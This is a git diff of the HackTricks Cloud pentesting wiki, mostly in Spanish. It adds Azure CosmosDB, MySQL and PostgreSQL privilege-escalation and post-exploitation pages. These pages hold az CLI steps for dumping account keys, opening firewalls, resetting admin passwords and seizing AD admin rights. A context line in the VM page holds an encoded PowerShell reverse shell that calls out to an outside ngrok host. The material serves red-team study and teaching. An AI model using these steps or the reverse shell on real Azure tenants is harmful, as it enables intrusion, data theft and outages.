+{% endhint %} + +## PostgreSQL Database Post Exploitation +Para más información sobre PostgreSQL Database consulta: + +{% content-ref url="../az-services/az-postgresql.md" %} +[az-postgresql.md](../az-services/az-postgresql.md) +{% endcontent-ref %} + +### "Microsoft.DBforPostgreSQL/flexibleServers/databases/write" && "Microsoft.DBforPostgreSQL/flexibleServers/databases/read" + +Con este permiso, puedes crear nuevas bases de datos dentro de una instancia de Postgres Flexible Server en Azure. Aunque esta acción en sí no modifica los recursos existentes, la creación excesiva o no autorizada de bases de datos podría llevar a un consumo de recursos o un posible uso indebido del servidor. + +{% code overflow="wrap" %} +```bash +az postgres flexible-server db create \ +--server-name \ +--resource-group \ +--database-name +``` +{% endcode %} + +### "Microsoft.DBforPostgreSQL/flexibleServers/backups/write" + +Con este permiso, puedes iniciar la creación de copias de seguridad para una instancia de Postgres Flexible Server en Azure. Esto permite a los usuarios generar copias de seguridad bajo demanda, lo que puede ser útil para preservar datos en momentos específicos. + +{% code overflow="wrap" %} +```bash +az postgres flexible-server backup create \ +--name \ +--resource-group +--backup-name +``` +{% endcode %} + +### "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write" && "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read" + +Con este permiso, puedes configurar o actualizar la configuración de Protección Avanzada contra Amenazas (ATP) para una instancia de Postgres Flexible Server en Azure. Esto permite habilitar o deshabilitar características de seguridad diseñadas para detectar y responder a actividades anómalas y amenazas potenciales. + +{% code overflow="wrap" %} +```bash +az postgres flexible-server threat-protection-policy update \ +--name \ +--resource-group \ +--state +``` +{% endcode %} + +### "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write", "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read" + +Con este permiso, puedes crear o modificar reglas de firewall para una instancia de Postgres Flexible Server en Azure. Esto permite controlar qué direcciones IP o rangos pueden acceder al servidor. El uso no autorizado o inapropiado de este permiso podría exponer el servidor a accesos no deseados o maliciosos. + +{% code overflow="wrap" %} +```bash +# Create Rule +az postgres flexible-server firewall-rule create \ +--name \ +--resource-group \ +--rule-name \ +--start-ip-address \ +--end-ip-address + +# Update Rule +az postgres flexible-server firewall-rule update \ +--name \ +--resource-group \ +--rule-name \ +--start-ip-address \ +--end-ip-address +``` +{% endcode %} + +### "Microsoft.DBforPostgreSQL/flexibleServers/configurations/write" && "Microsoft.DBforPostgreSQL/flexibleServers/configurations/read" + +Con este permiso, puedes actualizar la configuración de un servidor flexible de Postgres en Azure. Esto permite la personalización de parámetros del servidor, como la optimización del rendimiento, configuraciones de seguridad o ajustes operativos. + +{% code overflow="wrap" %} +```bash +az postgres flexible-server parameter set \ +--resource-group \ +--server-name \ +--name \ +--value +``` +{% endcode %} + +### "Microsoft.DBforPostgreSQL/flexibleServers/stop/action" + +Con este permiso, puedes detener una instancia de PostgreSQL Flexible Server en Azure. Detener un servidor puede provocar una interrupción temporal del servicio, afectando a las aplicaciones y usuarios dependientes de la base de datos. + +{% code overflow="wrap" %} +```bash +az postgres flexible-server stop \ +--name \ +--resource-group +``` +{% endcode %} + +### "Microsoft.DBforPostgreSQL/flexibleServers/start/action" +With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database. + +{% code overflow="wrap" %} +```bash +az postgres flexible-server start \ +--name \ +--resource-group +``` +{% endcode %} + +### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action" + +With this permission, you can assign a user-assigned managed identity to postgres flexible servers. + +{% code overflow="wrap" %} +```bash +az postgres flexible-server identity assign \ +--resource-group \ +--server-name \ +--identity +``` +{% endcode %} + +### "*/delete" +With this permissions you can delete resources related to postgres server in Azure such as server, firewalls, managed identities or configurations + + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md new file mode 100644 index 000000000..cfdf1c0ca --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md @@ -0,0 +1,93 @@ +# Az - CosmosDB Privesc + +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Apoya a HackTricks + +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. + +
+{% endhint %} + +## CosmosDB Privesc +Para más información sobre SQL Database consulta: + +{% content-ref url="../az-services/az-cosmosDB.md" %} +[az-cosmosDB.md](../az-services/az-cosmosDB.md) +{% endcontent-ref %} + +### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read") + +Con estos permisos puedes escalar privilegios otorgando a un usuario los permisos para ejecutar consultas y conectarse a la base de datos. Primero se crea una definición de rol otorgando los permisos y alcances necesarios. + +{% code overflow="wrap" %} +```bash +az cosmosdb sql role definition create \ +--account-name \ +--resource-group \ +--body '{ +"Id": "", # For example 12345678-1234-1234-1234-123456789az +"RoleName": "CustomReadRole", +"Type": "CustomRole", +"AssignableScopes": [ +"/subscriptions//resourceGroups/sqldatabase/providers/Microsoft.DocumentDB/databaseAccounts/" +], +"Permissions": [ +{ +"DataActions": [ +"Microsoft.DocumentDB/databaseAccounts/readMetadata", +"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/items/read", +"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/*" +] +} +] +}' +``` +{% endcode %} + +Después de eso, se asigna la definición a un usuario. Después de esto, ese usuario puede usar el método de conexión DefaultAzureCredential() para ejecutar consultas. + +{% code overflow="wrap" %} +```bash +az cosmosdb sql role assignment create \ +--account-name \ +--resource-group \ +--role-definition-id \ +--principal-id \ +--scope "/" +``` +{% endcode %} + +### "Microsoft.DocumentDB/databaseAccounts/listKeys/action" +Con este permiso, puedes recuperar las claves primaria y secundaria para una cuenta de Azure Cosmos DB. Estas claves proporcionan acceso completo a la cuenta de la base de datos y sus recursos, lo que permite acciones como lecturas de datos, escrituras y cambios de configuración. + +{% code overflow="wrap" %} +```bash +az cosmosdb keys list \ +--name \ +--resource-group + +``` +{% endcode %} + + +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Apoya a HackTricks + +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. + +
+{% endhint %} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md new file mode 100644 index 000000000..d1bf7465b --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md @@ -0,0 +1,91 @@ +# Az - MySQL Database Privesc + +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Apoya a HackTricks + +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. + +
+{% endhint %} + +## MySQL Database Privesc +Para más información sobre SQL Database consulta: + +{% content-ref url="../az-services/az-mysql.md" %} +[az-mysql.md](../az-services/az-mysql.md) +{% endcontent-ref %} + +### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write" + +Con este permiso, puedes crear, actualizar o eliminar instancias de MySQL Flexible Server en Azure. Esto incluye aprovisionar nuevos servidores, modificar configuraciones de servidores existentes o desmantelar servidores. + +{% code overflow="wrap" %} +```bash +az mysql flexible-server create \ +--name \ +--resource-group \ +--location \ +--admin-user \ +--admin-password \ +--sku-name \ +--storage-size \ +--tier \ +--version +``` +{% endcode %} + +Por ejemplo, estos permisos permiten cambiar la contraseña de MySQL, útil por supuesto en caso de que la autenticación de MySQL esté habilitada. + +{% code overflow="wrap" %} +```bash +az mysql flexible-server update \ +--resource-group \ +--name \ +--admin-password +``` +{% endcode %} + +Además, es necesario tener habilitado el acceso público si deseas acceder desde un punto final no privado. Para habilitarlo: + +{% code overflow="wrap" %} +```bash +az mysql flexible-server update --resource-group --server-name --public-access Enabled +``` +{% endcode %} + +### ""Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforMySQL/flexibleServers/administrators/write" && "Microsoft.DBforMySQL/flexibleServers/administrators/read"" + +Con este permiso, puedes configurar administradores de Azure Active Directory (AD) para un Servidor Flexible de MySQL. Esto se puede explotar configurando a uno mismo u otra cuenta como el administrador de AD, otorgando control administrativo total sobre el servidor MySQL. Es importante que el servidor flexible tenga identidades administradas asignadas a un usuario para poder utilizarlo. + +{% code overflow="wrap" %} +```bash +az mysql flexible-server ad-admin create \ +--resource-group \ +--server-name \ +--display-name \ +--identity \ +--object-id +``` +{% endcode %} + +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Apoya a HackTricks + +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. + +
+{% endhint %} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md new file mode 100644 index 000000000..0590ab6fb --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md @@ -0,0 +1,93 @@ +# Az - PostgreSQL Privesc + +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Apoya a HackTricks + +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. + +
+{% endhint %} + +## PostgreSQL Privesc +Para más información sobre SQL Database consulta: + +{% content-ref url="../az-services/az-postgresql.md" %} +[az-postgresql.md](../az-services/az-postgresql.md) +{% endcontent-ref %} + +### "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/write" + +Con este permiso, puedes crear, actualizar o eliminar instancias de PostgreSQL Flexible Server en Azure. Esto incluye aprovisionar nuevos servidores, modificar configuraciones de servidores existentes o desmantelar servidores. + +{% code overflow="wrap" %} +```bash +az postgres flexible-server create \ +--name \ +--resource-group \ +--location \ +--admin-user \ +--admin-password \ +--sku-name \ +--storage-size \ +--tier \ +--version +``` +{% endcode %} + +Por ejemplo, estos permisos permiten cambiar la contraseña de PostgreSQL, útil por supuesto en caso de que la autenticación de PostgreSQL esté habilitada. + +{% code overflow="wrap" %} +```bash +az postgres flexible-server update \ +--resource-group \ +--name \ +--admin-password +``` +{% endcode %} + +Además, es necesario tener habilitado el acceso público si deseas acceder desde un punto final no privado. Para habilitarlo: + +{% code overflow="wrap" %} +```bash +az postgres flexible-server update --resource-group --server-name --public-access Enabled +``` +{% endcode %} + +### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforPostgreSQL/flexibleServers/administrators/write" && "Microsoft.DBforPostgreSQL/flexibleServers/administrators/read" + +Con este permiso, puedes configurar administradores de Azure Active Directory (AD) para un Servidor Flexible de PostgreSQL. Esto se puede explotar configurando a uno mismo u otra cuenta como el administrador de AD, otorgando control administrativo total sobre el servidor de PostgreSQL. La actualización de un principal existente aún no es compatible, por lo que si hay uno creado, debes eliminarlo primero. + +Es importante que el servidor flexible tenga identidades administradas asignadas a un usuario para poder usarlas. + +{% code overflow="wrap" %} +```bash +az postgres flexible-server ad-admin create \ +--resource-group \ +--server-name \ +--display-name \ +--identity \ +--object-id +``` +{% endcode %} + +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Apoya a HackTricks + +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. + +
+{% endhint %} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md index e0c1085e1..a0ea6f7cf 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md @@ -65,7 +65,7 @@ az vm extension set \ --protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}' ``` -- Ejecutar shell inverso desde archivo +- Ejecutar shell inverso desde un archivo ```bash az vm extension set \ --resource-group \ @@ -157,7 +157,7 @@ Set-AzVMDscExtension ` Hybrid Runbook Worker -Esta es una extensión de VM que permitiría ejecutar runbooks en VMs desde una cuenta de automatización. Para más información, consulta el [servicio de Cuentas de Automatización](../az-services/az-automation-account/). +Esta es una extensión de VM que permitiría ejecutar runbooks en VMs desde una cuenta de automatización. Para más información, consulta el [Automation Accounts service](../az-services/az-automation-account/index.html).
@@ -328,7 +328,7 @@ az vm create \ ### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` Esos permisos son suficientes para **asignar nuevas identidades administradas a una VM**. Tenga en cuenta que una VM puede tener varias identidades administradas. Puede tener la **asignada por el sistema** y **muchas identidades administradas por el usuario**.\ -Luego, desde el servicio de metadatos es posible generar tokens para cada una. +Luego, desde el servicio de metadatos, es posible generar tokens para cada una. ```bash # Get currently assigned managed identities to the VM az vm identity show \ @@ -346,11 +346,11 @@ az vm identity assign \ Luego, el atacante necesita haber **comprometido de alguna manera la VM** para robar tokens de las identidades administradas asignadas. Consulta **más información en**: {{#ref}} -https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm {{#endref}} ### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action -Según los [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), este permiso te permite gestionar el SO de tu recurso a través de Windows Admin Center como administrador. Así que parece que esto da acceso al WAC para controlar las VMs... +Según la [**documentación**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), este permiso te permite gestionar el sistema operativo de tu recurso a través de Windows Admin Center como administrador. Así que parece que esto da acceso al WAC para controlar las VMs... {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md new file mode 100644 index 000000000..e4265d942 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md @@ -0,0 +1,357 @@ +# Az - CosmosDB + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} + +## Azure CosmosDB + +**Azure Cosmos DB** es una base de datos **NoSQL, relacional y vectorial completamente gestionada** que ofrece tiempos de respuesta de un solo dígito en milisegundos, escalabilidad automática y disponibilidad respaldada por SLA con seguridad de nivel empresarial. Permite un desarrollo de aplicaciones más rápido a través de la distribución de datos multi-región lista para usar, APIs de código abierto, SDKs para lenguajes populares y características de bases de datos de IA como soporte de vectores integrado e integración fluida con Azure AI. + +Azure Cosmos DB proporciona múltiples APIs de base de datos para modelar datos del mundo real utilizando documentos, modelos de datos relacionales, clave-valor, gráfico y de familia de columnas, siendo estas APIs NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin y Table. + +Un aspecto clave de CosmosDB es la Cuenta de Cosmos de Azure. **La Cuenta de Cosmos de Azure** actúa como el punto de entrada a las bases de datos. La cuenta determina configuraciones clave como la distribución global, los niveles de consistencia y la API específica que se utilizará, como NoSQL. A través de la cuenta, puedes configurar la replicación global para garantizar que los datos estén disponibles en múltiples regiones para un acceso de baja latencia. Además, puedes elegir un nivel de consistencia que equilibre el rendimiento y la precisión de los datos, con opciones que van desde la consistencia Fuerte hasta la consistencia Eventual. + +### NoSQL (sql) +La API NoSQL de Azure Cosmos DB es una API basada en documentos que utiliza JSON como su formato de datos. Proporciona una sintaxis de consulta similar a SQL para consultar objetos JSON, lo que la hace adecuada para trabajar con datos estructurados y semi-estructurados. El punto final del servicio es: + +{% code overflow="wrap" %} +```bash +https://.documents.azure.com:443/ +``` +{% endcode %} + +#### Bases de datos +Dentro de una cuenta, puedes crear una o más bases de datos, que sirven como agrupaciones lógicas de contenedores. Una base de datos actúa como un límite para la gestión de recursos y permisos de usuario. Las bases de datos pueden compartir el rendimiento provisionado entre sus contenedores o asignar rendimiento dedicado a contenedores individuales. + +#### Contenedores +La unidad central de almacenamiento de datos es el contenedor, que contiene documentos JSON y se indexa automáticamente para consultas eficientes. Los contenedores son escalables de manera elástica y se distribuyen a través de particiones, que son determinadas por una clave de partición definida por el usuario. La clave de partición es crítica para garantizar un rendimiento óptimo y una distribución uniforme de los datos. Por ejemplo, un contenedor podría almacenar datos de clientes, con "customerId" como la clave de partición. + +#### Enumeración + +{% tabs %} +{% tab title="az cli" %} +{% code overflow="wrap" %} +```bash +# CosmoDB Account +## List Azure Cosmos DB database accounts. +az cosmosdb list --resource-group +az cosmosdb show --resource-group --name + +## Lists the virtual network accounts associated with a Cosmos DB account +az cosmosdb network-rule list --resource-group --name +## List the access keys or connection strings for a Azure Cosmos DB +az cosmosdb keys list --name --resource-group +## List all the database accounts that can be restored. +az cosmosdb restorable-database-account list --account-name +## Show the identities for a Azure Cosmos DB database account. +az cosmosdb identity show --resource-group --name + + +# CosmoDB (NoSQL) +## List the SQL databases under an Azure Cosmos DB account. +az cosmosdb sql database list --resource-group --account-name +## List the SQL containers under an Azure Cosmos DB SQL database. +az cosmosdb sql container list --account-name --database-name --resource-group + +## List all SQL role assignments under an Azure Cosmos DB +az cosmosdb sql role assignment list --resource-group --account-name +## List all SQL role definitions under an Azure Cosmos DB +az cosmosdb sql role definition list --resource-group --account-name + +## List the SQL stored procedures under an Azure Cosmos DB +az cosmosdb sql stored-procedure list --account-name --container-name --database-name --resource-group +## List the SQL triggers under an Azure Cosmos DB SQL container. +az cosmosdb sql trigger list --account-name --container-name --database-name --resource-group +## List the SQL user defined functions under an Azure Cosmos DB SQL container +az cosmosdb sql user-defined-function list --account-name --container-name --database-name --resource-group + +``` +{% endcode %} +{% endtab %} + +{% tab title="Az PowerShell" %} +{% code overflow="wrap" %} +```powershell +Get-Command -Module Az.CosmosD + +# List all Cosmos DB accounts in a specified resource group. +Get-AzCosmosDBAccount -ResourceGroupName "" + +# Get the access keys for a specific Cosmos DB account. +Get-AzCosmosDBAccountKey -ResourceGroupName "" -Name "" + +# Retrieve the client encryption keys for a specific Cosmos DB account. +Get-AzCosmosDbClientEncryptionKey -ResourceGroupName "" -AccountName "" -DatabaseName "" + +# List all SQL containers in a specific Cosmos DB SQL database. +Get-AzCosmosDBSqlContainer -ResourceGroupName "" -AccountName "" -DatabaseName "" + +# Get backup information for a specific Cosmos DB SQL container. +Get-AzCosmosDBSqlContainerBackupInformation -ResourceGroupName "" -AccountName "" -DatabaseName "" -Name "" -Location "" + +# Get the throughput (RU/s) settings for a specific Cosmos DB SQL container. +Get-AzCosmosDBSqlContainerThroughput -ResourceGroupName "" -AccountName "" -DatabaseName "" -Name "" + +# List all SQL databases under a specific Cosmos DB account. +Get-AzCosmosDBSqlDatabase -ResourceGroupName "" -AccountName "" + +# Get the throughput (RU/s) settings for a specific Cosmos DB SQL database. +Get-AzCosmosDBSqlDatabaseThroughput -ResourceGroupName "" -AccountName "" -Name "" + +# List all SQL role assignments for a specific Cosmos DB account. +Get-AzCosmosDBSqlRoleAssignment -ResourceGroupName "" -AccountName "" + +# List all SQL role definitions for a specific Cosmos DB account. +Get-AzCosmosDBSqlRoleDefinition -ResourceGroupName "" -AccountName "" + +# List all stored procedures in a specific Cosmos DB SQL container. +Get-AzCosmosDBSqlStoredProcedure -ResourceGroupName "" -AccountName "" -DatabaseName "" -ContainerName "" + +# List all triggers in a specific Cosmos DB SQL container. +Get-AzCosmosDBSqlTrigger -ResourceGroupName "" -AccountName "" -DatabaseName "" -ContainerName "" + +# List all user-defined functions (UDFs) in a specific Cosmos DB SQL container. +Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "" -AccountName "" -DatabaseName "" -ContainerName "" +``` +{% endcode %} +{% endtab %} +{% endtabs %} + +#### Conexión + +Para conectar la biblioteca azure-cosmosDB (pip install azure-cosmos) es necesario. Además, el endpoint y la clave son componentes cruciales para realizar la conexión. +{% code overflow="wrap" %} +```python +from azure.cosmos import CosmosClient, PartitionKey + +# Connection details +endpoint = "" +key = "" + +# Initialize Cosmos Client +client = CosmosClient(endpoint, key) + +# Access existing database and container +database_name = '' +container_name = '' +database = client.get_database_client(database_name) +container = database.get_container_client(container_name) + +# Insert multiple documents +items_to_insert = [ +{"id": "1", "name": "Sample Item", "description": "This is a sample document."}, +{"id": "2", "name": "Another Sample Item", "description": "This is another sample document."}, +{"id": "3", "name": "Sample Item", "description": "This is a duplicate name sample document."}, +] + +for item in items_to_insert: +container.upsert_item(item) + +# Query all documents +query = "SELECT * FROM c" +all_items = list(container.query_items( +query=query, +enable_cross_partition_query=True +)) + +# Print all queried items +print("All items in the container:") +for item in all_items: +print(item) +``` +{% endcode %} + +Otra forma de establecer una conexión es usar **DefaultAzureCredential()**. Solo necesitas iniciar sesión (az login) con la cuenta que tiene los permisos y ejecutarlo. Para este caso, se debe realizar una asignación de rol, otorgando los permisos necesarios (ver para más) + +{% code overflow="wrap" %} +```python +from azure.identity import DefaultAzureCredential +from azure.cosmos import CosmosClient + +# Use Azure AD for authentication +credential = DefaultAzureCredential() +endpoint = "" +client = CosmosClient(endpoint, credential) + +# Access database and container +database_name = "" +container_name = "" +database = client.get_database_client(database_name) +container = database.get_container_client(container_name) + +# Insert a document +item = { +"id": "1", +"name": "Sample Item", +"description": "This is a test item." +} 